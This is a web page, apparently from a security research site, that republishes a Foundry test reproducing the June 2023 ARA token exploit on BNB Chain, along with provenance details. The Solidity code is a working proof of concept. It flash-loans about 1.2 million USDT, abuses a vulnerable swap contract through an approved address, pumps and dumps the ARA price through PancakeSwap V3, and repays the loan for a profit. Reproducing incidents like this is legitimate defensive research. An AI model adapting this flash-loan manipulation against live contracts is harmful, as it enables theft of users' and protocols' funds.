Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/ARA_exp.sol

Public reproduction file for dataset entry ARA.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/ARA_exp.sol109 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~125K USD$
8// Attacker : https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366
9// Attack Contract : https://bscscan.com/address/0x98e241bd3be918e0d927af81b430be00d86b04f9
10// Vulnerable Contract : https://bscscan.com/address/0x7ba5dd9bb357afa2231446198c75bac17cefcda9
11// Attack Tx : https://bscscan.com/tx/0xd87cdecd5320301bf9a985cc17f6944e7e7c1fbb471c80076ef2d031cc3023b2
13// @Analysis
14// https://twitter.com/BeosinAlert/status/1670638160550965248
16interface IPancakeRouterV3 {
17 struct ExactInputSingleParams {
18 address tokenIn;
19 address tokenOut;
20 uint24 fee;
21 address recipient;
22 uint256 amountIn;
23 uint256 amountOutMinimum;
24 uint160 sqrtPriceLimitX96;
25 }
27 function exactInputSingle(
28 ExactInputSingleParams memory params
29 ) external payable returns (uint256 amountOut);
32contract ARATest is Test {
33 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
34 IERC20 ARA = IERC20(0x5542958FA9bD89C96cB86D1A6Cb7a3e644a3d46e);
35 IPancakeRouterV3 Router = IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
36 IDPPOracle DPPOracle = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
37 address public constant exploitableSwapContract = 0x7BA5dd9Bb357aFa2231446198c75baC17CEfCda9;
38 // Address param required for calling the exploitable contract
39 address public constant approvedAddress = 0xB817Ef68d764F150b8d73A2ad7ce9269674538E0;
40 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
42 function setUp() public {
43 cheats.createSelectFork("bsc", 29_214_010);
44 cheats.label(address(BUSDT), "BUSDT");
45 cheats.label(address(ARA), "ARA");
46 cheats.label(address(Router), "Router");
47 cheats.label(address(DPPOracle), "DPPOracle");
48 cheats.label(exploitableSwapContract, "Exploitable Contract");
49 cheats.label(approvedAddress, "Approved Address");
50 }
52 function testExploit() public {
53 deal(address(BUSDT), address(this), 0);
54 BUSDT.approve(address(Router), type(uint256).max);
55 ARA.approve(address(Router), type(uint256).max);
57 emit log_named_decimal_uint(
58 "Attacker BUSDT balance before hack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
59 );
60 // Step 1. Flashloan 1,202,701 USDT
61 DPPOracle.flashLoan(0, 1_202_701 * 1e18, address(this), new bytes(1));
63 emit log_named_decimal_uint(
64 "Attacker BUSDT balance after hack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
65 );
66 }
68 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
69 // Step 2. Call the exploitable swap contract to swap 163,497 ARA -> 123,246 USDT
70 callSwapContract(163_497 * 1e18, ARA);
72 // Step 3. Use flashloaned 1,202,701 USDT -> 504,469 ARA to pull up the $ARA price.
73 routerV3Swap(BUSDT, ARA, 1_202_701 * 1e18);
74 emit log_named_decimal_uint(
75 "Step 3. ARA amount out after first V3 swap", ARA.balanceOf(address(this)), ARA.decimals()
76 );
78 // Step 4. Call the swap contract again to swap 132,123 USDT -> 12,179 ARA to let the approved address take over $ARA at a high price.
79 callSwapContract(132_123 * 1e18, BUSDT);
81 // Step 5. Swap 504,469 ARA -> 1,327,617 USDT
82 routerV3Swap(ARA, BUSDT, ARA.balanceOf(address(this)));
83 emit log_named_decimal_uint(
84 "Step 5. BUSDT amount out after second V3 swap", BUSDT.balanceOf(address(this)), BUSDT.decimals()
85 );
87 BUSDT.transfer(address(DPPOracle), quoteAmount);
88 }
90 function callSwapContract(uint256 amount, IERC20 token) internal {
91 (bool success, bytes memory retData) = exploitableSwapContract.call(
92 abi.encodeWithSelector(bytes4(0x135b43e9), amount, 0, address(token), approvedAddress)
93 );
94 require(success, "Swap not successful");
95 }
97 function routerV3Swap(IERC20 token1, IERC20 token2, uint256 amount) internal {
98 IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3.ExactInputSingleParams({
99 tokenIn: address(token1),
100 tokenOut: address(token2),
101 fee: 100,
102 recipient: address(this),
103 amountIn: amount,
104 amountOutMinimum: 0,
105 sqrtPriceLimitX96: 0
106 });
107 Router.exactInputSingle(params);
108 }

Analysis

Dataset entry

Public Foundry test for “ARA” (2023-06-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366

  • Attack Contract

    0x98e241bd3be918e0d927af81b430be00d86b04f9

  • Vulnerable Contract

    0x7ba5dd9bb357afa2231446198c75bac17cefcda9

  • Attack Tx

    0xd87cdecd5320301bf9a985cc17f6944e7e7c1fbb471c80076ef2d031cc3023b2

File record

Name
ARA
Path
src/test/2023-06/ARA_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
270448ae3a338d0be1603baceb3d8dca89593ffe
Language
Solidity
Size
110 lines
Date
2023-06-18
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/ARA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 270448ae3a338d0be1603baceb3d8dca89593ffe, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.